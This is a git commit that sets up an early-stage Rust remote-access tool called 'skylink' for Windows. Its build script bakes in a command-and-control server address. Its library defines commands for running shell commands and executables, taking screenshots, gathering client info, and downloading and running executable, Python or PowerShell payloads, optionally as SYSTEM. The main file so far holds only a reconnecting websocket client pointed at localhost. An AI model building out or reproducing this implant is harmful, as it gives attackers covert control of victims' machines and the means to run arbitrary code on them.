init: basic foundation

This commit is contained in:
Xory 2025-11-12 21:06:45 +02:00
commit df22b0bd5e
10 changed files with 231 additions and 0 deletions

4
.gitignore vendored Normal file
View file

@ -0,0 +1,4 @@
/target
Cargo.lock
flake.lock
.env

24
Cargo.toml Normal file
View file

@ -0,0 +1,24 @@
[package]
name = "skylink"
version = "1.0.0"
edition = "2024"
build = "build.rs"
[dependencies]
tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] }
tokio-tungstenite = "0.28"
reqwest = "0.12"
serde = "1.0"
serde_json = "1.0"
windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE OR THE BUILD WILL BREAK
"Win32_Foundation",
"Win32_System_Com",
"Win32_System_Com_Marshal",
"Win32_System_Threading"
]}
anyhow = "1.0.100"
futures-util = "0.3.31"
[build-dependencies]
dotenv = "0.15.0"
winresource = "0.1"

15
LICENSE Normal file
View file

@ -0,0 +1,15 @@
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.

17
build.rs Normal file
View file

@ -0,0 +1,17 @@
use dotenv::dotenv;
use std::env;
use winresource;
fn main() {
// Bake C2 server URL into client at build time
dotenv().ok();
println!("cargo:rerun-if-changed=.env");
let c2_server = env::var("C2_SERVER_URL").expect("C2 Server not defined in .env");
println!("cargo:rustc-env=C2_SERVER_URL={}", c2_server);
// Windows compile shit.
if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" {
let res = winresource::WindowsResource::new();
res.compile().unwrap();
}
}

61
flake.lock generated Normal file
View file

@ -0,0 +1,61 @@
{
"nodes": {
"flake-utils": {
"inputs": {
"systems": "systems"
},
"locked": {
"lastModified": 1731533236,
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1762844143,
"narHash": "sha256-SlybxLZ1/e4T2lb1czEtWVzDCVSTvk9WLwGhmxFmBxI=",
"owner": "nixos",
"repo": "nixpkgs",
"rev": "9da7f1cf7f8a6e2a7cb3001b048546c92a8258b4",
"type": "github"
},
"original": {
"owner": "nixos",
"ref": "nixos-unstable",
"repo": "nixpkgs",
"type": "github"
}
},
"root": {
"inputs": {
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs"
}
},
"systems": {
"locked": {
"lastModified": 1681028828,
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
"owner": "nix-systems",
"repo": "default",
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
"type": "github"
},
"original": {
"owner": "nix-systems",
"repo": "default",
"type": "github"
}
}
},
"root": "root",
"version": 7
}

17
flake.nix Normal file
View file

@ -0,0 +1,17 @@
{
description = "Skylink";
inputs = {
nixpkgs.url = "github:nixos/nixpkgs?ref=nixos-unstable";
flake-utils.url = "github:numtide/flake-utils";
};
outputs = { self, nixpkgs, flake-utils }:
flake-utils.lib.eachDefaultSystem
(system:
let pkgs = nixpkgs.legacyPackages.${system}; in
{
devShells.default = import ./shell.nix { inherit pkgs; };
}
);
}

2
rustfmt.toml Normal file
View file

@ -0,0 +1,2 @@
tab_spaces = 2

14
shell.nix Normal file
View file

@ -0,0 +1,14 @@
{ pkgs ? import <nixpkgs> {} }:
with pkgs;
mkShell {
buildInputs = [
pkgsCross.mingwW64.buildPackages.gcc
pkgsCross.mingwW64.buildPackages.glibc
rustup
libpthread-stubs
pkg-config
openssl
];
CARGO_TARGET_X86_64_PC_WINDOWS_GNU_RUSTFLAGS = "-L native=${pkgs.pkgsCross.mingwW64.windows.pthreads}/lib";
}

28
src/lib.rs Normal file
View file

@ -0,0 +1,28 @@
use serde::{Deserialize, Serialize};
#[derive(Deserialize, Serialize)]
pub enum PayloadType {
Executable,
Python,
Powershell,
}
#[derive(Deserialize, Serialize)]
pub struct DnxParams<'a> {
pub url: &'a str,
pub name: &'a str,
pub args: &'a str,
pub run_as_system: bool,
pub file_type: PayloadType,
}
#[derive(Deserialize, Serialize)]
pub enum Command<'a> {
RunCMD { command: &'a str },
URunCMD { command: &'a str },
RunExe { path: &'a str, args: &'a str },
URunExe { path: &'a str, args: &'a str },
ClientInfo,
Dnx { params: DnxParams<'a> },
Screenshot,
}

49
src/main.rs Normal file
View file

@ -0,0 +1,49 @@
use futures_util::stream::StreamExt;
use skylink::{Command, DnxParams, PayloadType};
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
// weird barely detectable bug pops up, as LLMs tend to generate.
async fn websocket_handler() {
use std::time::Duration;
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::protocol::Message;
let url = "ws://127.0.0.1:8080";
loop {
match connect_async(url).await {
Ok(ws_stream_tuple) => {
println!("[i] Connected via websocket."); // TODO Use logger over println
let (mut ws_stream, _) = ws_stream_tuple;
while let Some(msg) = ws_stream.next().await {
match msg {
Ok(Message::Text(text)) => {
println!("{}", &text);
}
Ok(Message::Close(_)) => {
println!("[i] Disconnected.");
break;
}
Err(e) => {
eprintln!("Error receiving message: {:?}", e);
break;
}
_ => {
// Ignore other message types
}
}
}
}
Err(e) => {
eprintln!("[e] Failed to connect: {:?}", e); // TODO logger > println
}
}
println!("[i] Connection lost, reconnecting in 5 seconds...");
tokio::time::sleep(Duration::from_secs(5)).await;
}
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
websocket_handler().await;
Ok(())
}